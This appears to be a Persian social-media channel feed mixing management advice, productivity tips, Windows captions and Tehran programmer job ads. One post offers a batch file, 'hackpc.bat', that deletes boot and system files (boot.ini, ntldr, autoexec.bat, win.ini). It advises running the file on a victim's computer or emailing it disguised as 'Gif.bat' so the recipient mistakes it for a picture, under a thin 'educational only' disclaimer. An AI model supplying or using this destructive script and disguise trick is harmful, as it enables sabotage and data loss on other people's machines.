عکس 5

در زیر هم مکان فایل Virtual memory که در ویندوز ساخته شده است را می بینید 👇

🎯 از گرفتار شدن در دام گرایش‌هایی که شما را به مدیری بد تبدیل می‌کند، بپرهیزید

مدیر بودن دشوار است. این فرایند زمانی دشوارتر می‌شود که شما به عنوان مدیر بخواهید با گرایشاتی که شما را از افراد تحت مدیریتتان جدا می‌کند، مبارزه کنید و تسلیم آن‌ها نشوید. شناسایی این گرایش‌ها شما را در مقابله با آن‌ها کمک می‌کند.

☑️ سه گرایش مهمی که دوری از آن‌ها ضروری است، عبارت اند از:

✔️ خودفریبی
نه تنها مدیران بلکه اغلب انسان‌ها میزان مهارت‌های خود را بالاتر از میزان واقعی خود تخمین می‌زنند. شما هم ممکن است دچار خودبزرگ‌پنداری باشید. به دنبال یافتن راه‌هایی برای گردآوری اطلاعات درباره مهارت‌ها و توانایی‌های واقعی خود و ارزیابی آن‌ها باشید.

✔️ غفلت
زیردستان معمولاً صاحبان قدرت را به دقت زیر نظر دارند، اما این فرایند اغلب متقابل نیست. پس از کسب مقام مدیریت همچنان به کنجکاوی درباره افراد تحت مدیریت خود ادامه دهید و با آن‌ها تعامل داشته باشید.

✔️ انزوا
هیچ کس تمایلی به رساندن پیام‌های بد به مدیر خود ندارد. بنابراین، اکثر مدیران اغلب در جریان رویدادهای سازمان نیستند. شرایطی را به وجود آورید که در آن حاملان اخبار بد و ناخوشایند شماتت نشوند و بر عکس برای ارائه اطلاعات مهم مورد تشویق و تحسین قرار گیرند.

گای کاواساکی چهار سال "رهبر معنوی" شرکت اپل بود.
او می‌گوید: افراد سطح "الف" کسانی را که حتی از خودشان هم بهترند استخدام می‌کنند. اما واضح است که افراد سطح "ب" افراد سطح "ج" را استخدام می‌کنند تا بتوانند نسبت به آنها حس برتری داشته باشند و افراد سطح "ج" افراد سطح "د" را به خدمت می‌گیرند.
اگر تو شروع به استخدام افراد سطح "ب" کرده‌ای، منتظر باش آنچه استیو جابز آن را "انفجار ابلهان" نامید در سازمان تو رخ دهد.
به بیان دیگر، با شروع استخدام افراد سطح "ب" سرآخر به‌ جایی می‌رسی که با افراد پایین‌ترین سطح سروکار خواهی داشت.
توصیه: افرادی را استخدام کن که از خودت بهترند.
اثر مرسوم به دانینگ کروگر در مورد افراد پایین‌ ترین سطح صادق است: بی‌عرضه‌ها در نادیده گرفتن ابعاد بی‌لیاقتی خود بااستعدادند. این افراد دچار توهم برتری‌ هستند که آنها را به ارتکاب خطاهای فکری بیشتر وامی‌دارد و در نتیجه یک چرخه‌ معیوب می‌سازند که در طول زمان دریایی از استعداد را تخریب خواهد کرد. آیا در طول سابقه کاری خود مصداقی از این امر سراغ کرده اید؟


کتاب: "هنر شفاف اندیشیدن" رولف دوبلی، نشر چشمه، ۱۳۹۴، ص ۲۴۲ و ۲۴۳

چرا وقتي براي انجام كارى يك ساعته سه ساعت وقت داريم، انجام آن سه ساعت طول مى كشد؟

 پاسخ همه این سوال در "قانون پارکینسون" نهفته است. 
بر اساس قانون پارکینسون در مدیریت: "ذهن، کار را به مدت زمانی که به آن اختصاص داده شده کش می‌دهد". در واقع می‌توان این‌گونه بیان کرد،بر اساس قانون پارکینسون:

وقت بیشتر = اتلاف وقت بیشتر
کارمند بیشتر = بیکاری بیشتر
دخل بیشتر = خرج بیشتر

لذا به‌عنوان مدیر، کارمند و یا صاحب‌ کسب‌وکار، مهم است بتوانیم بر قانون پارکینسون غلبه کنیم و مهم‌ترین تکنیک برای غلبه بر آن:

✅ تعیین مهلت زمانی و ضرب‌الاجل معقول و پایبندی به انجام کارها در زمان تعیین شده‌ میباشد.

فکر کنم بخاطر همین اسمش رو جدیدا گذاشتن This PC 😄

پروتکل های موجود در شبکه

#استخدام

اگر فردی خلاق, باهوش و علاقمند به یادگیری مطالب جدید هستید و می خواهید در شرکتی معتبر و پیشرو استخدام شوید, از شما دعوت میشود به تیم وب24 بپیوندید

#استخدام برنامه نویس اندروید (جاوا) یا ionic
 
یک شرکت معتبر فعال در حوزه وب در نظر دارد نیروی تمام وقت (ترجیحا خانم) به تیم طراحی اپلیکیشن موبایل خود اضافه نماید, شرایط همکاری:
* توانایی انجام کار تیمی
* ارائه نمونه کار مناسب
* علاقمند به یادگیری مباحث جدید

نحوه همکاری به صورت تمام وقت و دراز مدت خواهد بود, محدوده شرکت در حوالی میدان ونک است.

ارسال رزومه به jobs@web24.ir
عنوان ایمیل: برنامه نویس اندروید

#استخدام

استخدام برنامه نویس تمام وقت و #پاره_وقت درشرکت پیشرو
شرکت پیشرو در #تهران واقع در محدوده خیابان مطهری/بهشتی در راستای تکمیل کادر برنامه نویسی خود از نیرو با شرایط و مشخصات زیر دعوت به همکاری می نماید.
عنوان شغلی شرایط احراز
برنامه نویس •با حداقل یک سال سابقه کار
•به طور تمام وقت و پاره وقت (حداقل سه روز در هفته)
•با حقوق و دستمزد عالی
تسلط در هر یک از تخصص‌های زیر:
•php
•Java / Android
•(iOS (Xcode
•HTML 5 / CSS / jQuery / Bootstrap
آدرس ایمیل: job@sep-co.net
تلفن: 09352198557

🔴چگونه یک کامپیوتر را به راحتی از کار بیاندازیم :
کافی است مجموعه کد های زیر را در نرم افزاری مانند نوت پد وارد و با نام hackpc.bat ذخیره نمایید. پسوند .bat برای نام فایل ضروريست:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

سپس این فایل را در کامپیوتر مورد نظر اجرا کنید.یا
اینکه توسط ایمیلی به فرد موردنظر ارسال کنید کافیست نام فایل را به Gif.bat تغییر داده و فرد موردنظر به خیال عکس بودن روی فایل کلیک کرده و کد اجرا شود.
🚨🚨🚨به یاد داشته باشید که هیچ وقت این کدها را روی کامپیوتر خودتان اجرا نکنید.

( این مطلب فقط جنبه آموزشی دارد و لطفا از آن سو استفاده نکنید.
با تشکر )

👈مسئولیت استفاده از این کد بر عهده خود شماست👉

کلیپ تصویری راجع به پریسا تبریز ، شاهزاده امنیت گوگل👇👇

🎯 تا به حال دقت کرده‌اید که چه چیزی باعث استرس شما می‌شود و بهره‌وری شما را کاهش می‌دهد؟

12 موردی که در ادامه ذکر شده‌اند، دلایلی هستند که اثبات می‌کنند استرس، تمرکز شما را از بین می‌برد:

1 - انجام چندین کار به‌طور همزمان
2 - پرداختن به لذت‌های آنی مثل رسانه‌های اجتماعی،تلفن،تلویزیون،موسیقی و خوردنی ها !
3 - پرهیز از استراحت‌های کوتاه ، استراحت های کوتاه 5-10 دقیقه ای فوق العاده هستن !
4 - چک کردن مداوم ایمیل
5 - کمال‌گرایی ، کمال‌گرایی صرف برای بهره‌وری مضر است.
6 - سازمان‌دهی نکردن لیست انجام کارها
7 - انجام ندادن تمرین ذهنی
8 - روشن نگه داشتن تلفن
9 - ندانستن اینکه چگونه “نه” بگویید
10 - به تعویق انداختن وظایف
11 - فکر کنید که مجبورید همیشه اجتماعی باشید.
12 - حضور بیش از حد در جلسات

گزارشی از Dennis technology labs در خصوص مقایسه بهترین network threat detectionهای سال 2015